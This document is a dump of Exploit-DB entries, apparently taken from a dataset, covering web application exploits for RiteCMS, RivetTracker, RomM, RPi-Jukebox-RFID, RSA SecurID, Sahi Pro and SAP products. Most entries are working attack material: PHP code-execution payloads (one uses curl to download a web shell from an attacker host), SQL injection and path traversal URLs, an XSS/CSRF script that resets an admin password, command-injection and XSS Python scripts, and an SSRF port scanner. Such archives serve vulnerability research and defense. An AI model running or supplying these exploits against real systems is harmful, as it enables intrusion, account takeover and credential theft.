deardaniel/secdata-raw huggingface dataset:
Exploit-DB #52488
Description: RiteCMS 3.1.0 - Authenticated Remote Code Execution
Type: webapps
Platform: multiple
Date: 2026-04-06
Author: red

Exploit:
# Exploit Title: RiteCMS 3.1.0 - Authenticated Remote Code Execution 
# Date: 2025-10-26
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://github.com/handylulu/RiteCMS
# Software Link:
https://github.com/handylulu/RiteCMS/releases/download/V3.1.0/ritecms.v3.1.0.zip
# Version: 3.1.0
# Tested on: Windows XP


## Vulnerability Description
RiteCMS v3.1.0 contains an authenticated Remote Code Execution (RCE) via
its content_function() handler: [function:...] tags in page content are
evaluated, allowing a user with page-editing privileges to execute
arbitrary PHP on the server.

## Exploit Code
Create or edit any page with the following content:

[function:system('whoami')]


## Steps to Reproduce
1. Login as administrator
2. Create new page or edit existing page
3. Insert [function:system('whoami')] in content
4. Save and view page
5. Command output will be displayed

## additional payloads
[function:system('curl http://attacker/shell.php -o shell.php')]
[function:system('id')]
Exploit-DB #18553
Description: Rivettracker 1.03 - Multiple SQL Injections
Type: webapps
Platform: multiple
Date: 2012-03-03
Author: Ali Raheem

Exploit:
# Exploit Title: Multiple SQL injections in rivettracker <=1.03
# Date: 2/3/2012
# Author: Ali Raheem
# Software Link: http://www.rivetcode.com/software/rivettracker/
# Version: <=1.03
# Tested on: Linux guruplug-debian 3.1.7 #2 PREEMPT Tue Jan 3 20:19:54
MST 2012 armv5tel GNU/Linux
# Greets: spyware, dividead

RivetTracker is a php base torrent tracker. Though rivettracker is
largely designed for a trusted user environment it does have 3 levels
of access. Admin (add&delete torrents), uploader and unauthenticated
(if $hiddentracker == false). However, vulnerable files such as
torrent_functions.php can always be accessed by anyone since there is
no $hiddentracker check (epic fail).

Despite this high level of access few inputs are sanities and lines like this:
$query = "SELECT filename FROM ".$prefix."namemap WHERE info_hash = '"
. $_GET['hash'] . "'";
Found in dltorrent.php (which can be accessed by any one if
hiddentracker is false) is unforgivable.

The only check performed is to insure $_GET['hash'] is 40 chars long.
We can defeat this simply with padding with 0's if poison null bytes
are not patched we can force the SQL query to return the filename of a
file we want to view and download it.

path_to_rivettracker/dltorrent.php?hash=00000' UNION ALL SELECT '../config.php\0

With the PNB patch on php version >=5.3.4 (and backports) we still
have arbitary SQL queries but no config.php. config.php contains
passwords and usernames for admin, user and mysql database.

Other files have unsanitised inputs such as torrent_functions.php,
here we have no checks! Further more $hiddentracker isn't even
checked! And anyone has access to this file and can run SQL commands
via post.

Here's my testbench for torrent_functions.php

ali@Ali-PC:~$ cat test.htm
<form action="http://127.0.0.1/rivettracker/torrent_functions.php"
method="POST">
<input type="test" name="hash" size="100"/>
<input type="submit"/>
</form>

Depending on the privs of the database user you can raise all kinds of
hell (shell creation and arbitrary code execution.)

Enjoy.
Exploit-DB #52505
Description: RomM  4.4.0 -  XSS_CSRF Chain
Type: webapps
Platform: multiple
Date: 2026-04-09
Author: mmohammedheshamm

Exploit:
# Exploit Title: RomM < 4.4.1 -  XSS_CSRF Chain
# Date: 2025-12-03
# Exploit Author: He4am (https://github.com/mHe4am)
# Vendor Homepage: https://romm.app/
# Software Link: https://github.com/rommapp/romm (Docker: https://hub.docker.com/r/rommapp/romm)
# Version: < 4.4.1
# Tested on: Linux
# CVE: CVE-2025-65027

# -------------------

# Vulnerability: Chaining unrestricted file upload (XSS) + CSRF token reuse to bypass SameSite protection
# Impact: Admin account takeover

# Prerequisites:
# 1. Attacker needs an authenticated account (Viewer role is sufficient)
# 2. Victim must visit the uploaded malicious HTML file via a direct link

# Steps to reproduce:
# 1. Login to RomM
# 2. Obtain your CSRF token:
#    - Open browser DevTools > Application tab (or Storage on Firefox) > Cookies
#    - Copy the `romm_csrftoken` cookie value
# 3. Replace <ATTACKER_CSRF_TOKEN> below with your token
# 4. Replace <TARGET_ROMM_URL> with the target RomM instance URL (e.g., http://romm.local)
# 5. Save this file as `avatar.html`
# 6. Upload it as your profile avatar (http://romm.local/user/me) and click the Apply button
# 7. Locate the uploaded file's direct link:
#    - DevTools > Network tab > Filter for `.html` files
#    - Or capture it via proxy (e.g., Burp Suite)
#    - It's usually something like: "http://romm.local/assets/romm/assets/users/<Random-ID>/profile/avatar.html"
# 8. Send this direct link of the uploaded avatar/file to the victim
# 9. When victim (e.g. admin) opens the link, their password will be changed to "Passw0rd"

# -------------------

# PoC Code:
<script>
const csrfToken = "<ATTACKER_CSRF_TOKEN>";		// CHANGE THIS - Your CSRF token from step 2
const targetURL = "<TARGET_ROMM_URL>";			// CHANGE THIS - Target RomM URL (e.g., http://romm.local)
const targetUserID = 1;							// Default admin ID is always 1, CHANGE THIS if needed
const new[CREDENTIAL_REDACTED]";					// Password to set for victim

// Overwrite CSRF cookie to match our token
document.cookie = `romm_csrftoken=${csrfToken}; path=/`;

// Execute account takeover by forcing the victim to change their password
fetch(targetURL + "/api/users/" + targetUserID, {
  method: 'PUT',
  credentials: 'include',  // Send victim's session cookie
  headers: {
   'Content-Type': 'application/x-www-form-urlencoded',
   'x-csrftoken': csrfToken
  },
  body: "password=" + newPassword
})
.then(() => {
  console.log("Password changed successfully");
})
.catch(err => {
  console.error("Attack failed:", err);
});
</script>

# -------------------

# See full writeup for technical details: https://he4am.medium.com/bypassing-samesite-protection-chaining-xss-and-csrf-for-admin-ato-in-romm-44d910c54403
Exploit-DB #52468
Description: RPi-Jukebox-RFID 2.8.0 - Remote Command Execution
Type: webapps
Platform: multiple
Date: 2026-01-17
Author: Beatriz Fresno Naumova

Exploit:
# Exploit Title: RPi-Jukebox-RFID 2.8.0 - Remote Code Execution 
# Date: 2025-09-25
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://github.com/MiczFlor/RPi-Jukebox-RFID
# Software Link: https://github.com/MiczFlor/RPi-Jukebox-RFID/releases/tag/v2.8.0
# Version: 2.8.0
# Tested on: Raspberry Pi OS with RPi-Jukebox-RFID v2.8.0
# CVE: CVE-2025-10327
#
# Description:
# This PoC demonstrates an OS command injection vulnerability in the shuffle.php API endpoint.
# The vulnerable parameter "playlist" is passed directly to a shell command without sanitization,
# allowing an attacker to execute arbitrary system commands.

import requests
import json

# Replace this with the actual target IP or hostname
TARGET = "http://YOUR-TARGET-IP/phoniebox/api/playlist/shuffle.php"

# Payload to inject – here we create a file as proof of execution
INJECTED_COMMAND = "test';touch rced_by_xu17.txt;echo '"

# JSON payload for the request
payload = {
    "playlist": INJECTED_COMMAND,
    "shuffle": "true"
}

# HTTP headers
headers = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0"
}

def exploit():
    print("[+] Sending malicious JSON payload to trigger command injection...")
    try:
        response = requests.put(TARGET, headers=headers, data=json.dumps(payload), timeout=5)
        print(f"[+] HTTP Status Code: {response.status_code}")
        print("[*] If the target is vulnerable, the command should be executed on the server.")
    except Exception as e:
        print(f"[-] Exploit failed: {e}")

if __name__ == "__main__":
    exploit()
Exploit-DB #52470
Description: RPi-Jukebox-RFID 2.8.0 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2026-02-02
Author: Beatriz Fresno Naumova

Exploit:
# Exploit Title: RPi-Jukebox-RFID 2.8.0 - Stored XSS (CVE-2025-10370)
# Date: 2025-09-25
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://github.com/MiczFlor/RPi-Jukebox-RFID
# Software Link: https://github.com/MiczFlor/RPi-Jukebox-RFID/releases/tag/v2.8.0
# Version: 2.8.0
# Tested on: Raspberry Pi OS with RPi-Jukebox-RFID v2.8.0
# CVE: CVE-2025-10370
#
# Description:
# This PoC demonstrates a Cross-Site Scripting (XSS) vulnerability in the userScripts.php page.
# The vulnerable parameter "customScript" does not sanitize input correctly, allowing injection
# of arbitrary JavaScript payloads.

import requests

# Change this to the actual IP or hostname of the target device
TARGET = "http://YOUR-TARGET-IP/phoniebox/htdocs/userScripts.php"

# The XSS payload
PAYLOAD = '"><img src=x onerror=alert("XSS - CVE-2025-10370")>'

# HTTP headers
headers = {
    "User-Agent": "Mozilla/5.0",
    "Content-Type": "application/x-www-form-urlencoded",
    "Referer": TARGET,
}

# POST data with the malicious payload
data = {
    "customScript": PAYLOAD
}

def send_exploit():
    print(f"[+] Sending XSS payload to {TARGET}")
    try:
        r = requests.post(TARGET, headers=headers, data=data, timeout=5)
        print(f"[+] Payload sent. Status code: {r.status_code}")
        print("[*] If the target is vulnerable, the payload will execute when the page is rendered.")
    except Exception as e:
        print(f"[-] Exploit failed: {e}")

if __name__ == "__main__":
    send_exploit()
Exploit-DB #11405
Description: RSA - SecurID Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-02-11
Author: s4squatch

Exploit:
Discovered 12-11-2008

Discovered By: s4squatch of SecureState R&D Team (www.securestate.com)

Vendor Notified: 10-07-2009

Vendor Response: 10-08-2009

Version: Unknown --> DLL does not contain version, therefore vendor says it is outdated and not supported.

 

POC:

https://www.website.com/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=get:f4e2c"><script>alert("xss")</script>[PII_REDACTED]5&authntype=2&username=test&passcode=test[12:26] a
Exploit-DB #47005
Description: Sahi pro 7.x/8.x - Directory Traversal
Type: webapps
Platform: multiple
Date: 2019-06-18
Author: Goutham Madhwaraj

Exploit:
# Exploit Title: Sahi pro ( <= 8.x ) Directory traversal
# Date: 17-06-2019
# Exploit Author: Goutham Madhwaraj ( https://barriersec.com )
# Vendor Homepage: https://sahipro.com/
# Software Link: https://sahipro.com/downloads-archive/
# Version: 7.x , <= 8.x
# Tested on: Windows 10
# CVE : CVE-2018-20470


Description :

An issue was discovered in Tyto Sahi Pro through 7.x.x and 8.0.0. A directory traversal (arbitrary file access) vulnerability exists in the web reports module. This allows an outside attacker to view contents of sensitive files.

POC :

vulnerable URL :

''' replace the ip and port of the remote sahi pro server machine '''


http://<ip>:<port>/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1#selected
Exploit-DB #47007
Description: Sahi pro 8.x - Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2019-06-18
Author: Goutham Madhwaraj

Exploit:
# Exploit Title: Sahi pro ( <= 8.x ) Stored XSS
# Date: 17-06-2019
# Exploit Author: Goutham Madhwaraj ( https://barriersec.com )
# Vendor Homepage: https://sahipro.com/
# Software Link: https://sahipro.com/downloads-archive/
# Version: 7.x , <= 8.x
# Tested on: Windows 10
# CVE : CVE-2018-20472
# POC-URL : https://barriersec.com/2019/06/cve-2018-20472-sahi-pro/

DESCRIPTION :

An issue was discovered in Tyto Sahi Pro through 7.x.x and 8.0.0. The logs web interface is vulnerable to stored XSS. Description parameter of Testcase API can be used to exploit the stored XSS.


POC :

step 1 :

 create a sahi test automation script with the following content and save the file with ".sah" extension ( example : poc.sah) :

            var $tc1 = _testcase(“TC-1″,”<script>alert(document.cookie)</script>”).start();

           _log(“testing stored XSS injection”);

            $tc1.end();

Step 2 :

Execute the created script ( poc.sah ) using sahi GUI controller .

Step 3 : navigate to the web logs console ( http://<ip>:<port>/logs ) using the browser for the executed script. XSS is triggered .
Exploit-DB #47062
Description: Sahi pro 8.x - Directory Traversal
Type: webapps
Platform: multiple
Date: 2019-07-01
Author: Operat0r

Exploit:
# Exploit Title: Sahi pro (8.x) Directory traversal
# Date: 2019-06-25
# Exploit Author: Operat0r
# Vendor Homepage: https://sahipro.com/
# Software Link: https://sahipro.com/downloads-archive/
# Version: 8.0
# Tested on: Linux Ubuntu / Windows 7
# CVE: CVE-2019-13063

An issue was discovered in Safi-pro web-application, there is a directory traversal and both local and remote file inclusion vulnerability which resides in the ?script= parameter which is found on the Script_View page. And attacker can send a specially crafted URL to retrieve and steal sensitive files from teh victim.

POC -

http://10.0.0.167:9999/_s_/dyn/Script_view?script=/config/productkey.txt

This results in the revealing of the applications product key. The ?script= can have ../../../../../ added to retrieve more files from the system

POC tool -

import argparse, requests, os

#sahi_productkey = '/config/productkey.txt'
#root_dir = '../../../../../../'
#vuln_url = "http://10.0.0.167:9999/_s_/dyn/Script_view?script="

print("[x] Proof of concept tool to exploit the directory traversal and local file"
      " inclusion vulnerability that resides in the [REDACTED]\n[x] CVE-2019-xxxxxx\n")

print("Example usage:\npython POC.y --url http://example:9999/_s_/dyn/Script_view?script=/config/productkey.txt")

parser = argparse.ArgumentParser()
parser.add_argument("--url",
                    help='Specify the vulnerable URL')

args = parser.parse_args()

response = requests.get(args.url)
file = open("output.txt", "w")
file.write(response.text)
file.close()
Exploit-DB #47006
Description: Sahi pro 8.x - SQL Injection
Type: webapps
Platform: multiple
Date: 2019-06-18
Author: Goutham Madhwaraj

Exploit:
# Exploit Title: Sahi pro ( <= 8.x ) sensitive information disclosure by SQL injection.
# Date: 17-06-2019
# Exploit Author: Goutham Madhwaraj ( https://barriersec.com )
# Vendor Homepage: https://sahipro.com/
# Software Link: https://sahipro.com/downloads-archive/
# Version: 7.x , <= 8.x
# Tested on: Windows 10
# CVE : CVE-2018-20469
# POC-URL : https://barriersec.com/2019/06/cve-2018-20469-sahi-pro/

Description :

An issue was discovered in Tyto Sahi Pro through 7.x.x and 8.0.0. A parameter in the web reports module is vulnerable to SQL injection. This can be exploited to inject SQL queries and run standard h2 system functions.


POC :

vulnerable URL :

''' replace the ip and port of the remote sahi pro server machine '''


# here sql query is passed directly as part of GET request which can be modified to run standard h2 database functions. in the following POC , "memory_used()" function is injected , which is reflected in "status" column of reports page.

http://<ip>:<port>/_s_/dyn/pro/DBReports?sql=SELECT DISTINCT memory_used() AS ROWSTATUS, SCRIPTREPORTS.SCRIPTREPORTID,SCRIPTREPORTS.SCRIPTNAME,SUITEREPORTS.* FROM SUITEREPORTS,SCRIPTREPORTS
Exploit-DB #43404
Description: SAP BusinessObjects launch pad - Server-Side Request Forgery
Type: webapps
Platform: multiple
Date: 2017-12-27
Author: Ahmad Mahfouz

Exploit:
# Exploit Title: SAP BusinessObjects launch pad SSRF
# Date: 2017-11-8
# Exploit Author: Ahmad Mahfouz
# Category: Webapps
# Author Homepage: www.unixawy.com
# Description: Design Error in SAP BusinessObjects launch pad leads to SSRF attack 

 
#!/usr/bin/env python
# SAP BusinessObjects launch pad SSRF Timing Attack Port scan
# usage : sblpta.py http://path.faces targetIP targetPort
import urllib2
import urllib
import ssl
from datetime import datetime
import sys

 

if len(sys.argv) != 4:

   print "Usage: python sblpta.py http://path.faces targetIP targetPort"
   sys.exit(1)

url = sys.argv[1]
targetIP = sys.argv[2]
targetPort = sys.argv[3]
targetHostIP = "%s:%s" %(targetIP,targetPort)
print "\r\n" 
print "[*] SAP BusinessObjects Timing Attack"
headers = {'User-Agent': 'Mozilla/5.0'}
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1)

try:

   request = urllib2.Request(url, headers=headers)
   page = urllib2.urlopen(request, context=gcontext)
   print "[*] Connected to SAP Bussiness Object %s"  %url

except:

   print "[-] Failed To connect to SAP Bussiness Object %s" %url
   print "[*] SAP Bussiness Object Link example: http://domain:port/BZ/portal/95000047/InfoView/logon.faces"
   sys.exit(2)

 
resheaders = page.info()
cookie = resheaders.dict['set-cookie']
content = page.readlines()

for line in content:

   if "com.sun.faces.VIEW" in line:
      sfview = line.split("=")[4].split("\"")[1]
      print "[*] Got java faces dynamic value"

   else:
      continue

if not sfview:

   print "[-] Failed to java faces dynamic value, are you sure you extracted the java faces form from the link ??"
   sys.exit(3)


formdata = {"_id0:logon:CMS":targetHostIP,
         "_id0:logon:USERNAME":"",
         "_id0:logon:PASSWORD":"",
         "com.sun.faces.VIEW":sfview,
         "_id0":"_id0"
         }

 

data_encode = urllib.urlencode(formdata)
start =  datetime.now()
print "[*] Testing Timing Attack %s" %start        
request = urllib2.Request(url,data_encode)
request.add_header('Cookie', cookie)
response  = urllib2.urlopen(request)
end = datetime.now()
the_page = response.read()


if "FWM" in the_page:
 
   elapsedTime = end-start
   if elapsedTime.total_seconds() >= 10:

      print "[*] Port %s is Open, Gotcha !!! " %targetPort

   else:

      print "[*] Port %s is Closed , we die fast"  %targetPort

elif "FWC" in the_page:

   print "[-] error login expired"
   sys.exit(10)
Exploit-DB #47061
Description: SAP Crystal Reports - Information Disclosure
Type: webapps
Platform: multiple
Date: 2019-07-01
Author: Mohamed M.Fouad

Exploit:
# Exploit Title: [Sensitive Information Disclosure in SAP Crystal Reports]
# Date: [2019-04-10]
# Exploit Author: [Mohamed M.Fouad - From SecureMisr Company]
# Vendor Homepage: [https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=517899114]
# Version: [SAP Crystal Reports for Visual Studio, Version - 2010] (REQUIRED)
# Tested on: [Windows 10]
# CVE : [CVE-2019-0285]

POC:

1- Intercept the "Export" report http request

2- Copy the "__CRYSTALSTATE" + <crystal report user control> Viewer name parameter value. 

3- You will find a base64 value in "viewerstate" attribute. 

4- decode the value you will get database information such as: name, credentials, Internal Path disclosure and some debugging information.
Exploit-DB #44755
Description: SAP Internet Transaction Server 6200.x - Session Fixation / Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2018-05-25
Author: J. Carrillo Lencina

Exploit:
 # Exploit Title: SAP Internet Transaction Server (ITS) 6200.X.X - Session Fixation/ Cross-Site Scripting
# Dork: /scripts/wgate/
# Date: 25.05.2018
# Exploit Author: J. Carrillo Lencina (0xd0m7)
# Vendor Homepage: https://www.sap.com
# Version: SAP ITS 6200.X.X
# Category: Webapps
# Tested on: All Platforms
# CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11415
# Description:As it has been determined that there are two
vulnerabilities in the latest developed version of SAP ITS, these two
vulnerabilities added together give rise to an XSS.

#Technical details: It has been determined that when an unauthenticated
user navigates through the application, the application assigns a cookie,
that cookie is assigned in the parameter ~ session, therefore it could be
possible for an attacker to fix the fallo ~ session through a request GET
This, together with the fact that the parameter SERVICEUNIQUE has a
parameter validation failure, results in a single-use XSS, since the
session expires once the method of the request is exchanged and fixed in
the URL.

#Exploit
#!/usr/bin/python
import argparse
import requests
import re
 
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="Example: https://example.com/wgate/scripts/ralp/!")
args = parser.parse_args()
list=[]
i=0
cookie={'s_fid':'3B9C1B379A11790F-00A298287FA44BF5','s_lv':'[PII_REDACTED]16', 's_nr':'[PII_REDACTED]22-New', 's_vnum':'[PII_REDACTED]33%26vn%3D1'}
url=args.url.split('/')
url2='https://'+str(url[2])+'/'+str(url[3])+'/'+str(url[4])+'/'

if args.url:
	r = requests.get(args.url,verify=False,cookies=cookie)
	header = r.headers['Set-Cookie']
	cookie_val = header.split(";")

	for line in r.iter_lines():
        	list.append(line)
        	i=i+1
        	if line.find('~SERVICEUNIQUE') > 0:
                	param = line.replace('"','')
                	v = param.split('=')
                	val0 = v[3].split(' ')
			print '[+]Random Value:',val0[0]

	for line2 in range(len(cookie_val)):
        	if cookie_val[line2].find('~session') == 0:
                	val1 = cookie_val[line2].split('=')
			print '[+]Session Value:',val1[1]
	print '[+] Vulnerable URL:'+url2+val0[0]+'%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3e/?%7ESERVICEUNIQUE='+val0[0]+'%3cimg%20src%3da%20onerror%3dalert(1)%3e&%7Eclientinput=1&%7Elogininput=1&%7Epasswdinput=1&%7Eclient=100&%7Elogin=%3F&%7E[CREDENTIAL_REDACTED]=P&%7EOkCode%3D%2F0=Entrar&~session='+val1[1]


else:
	print '[!] Empty URL, please see help (-h,--help)'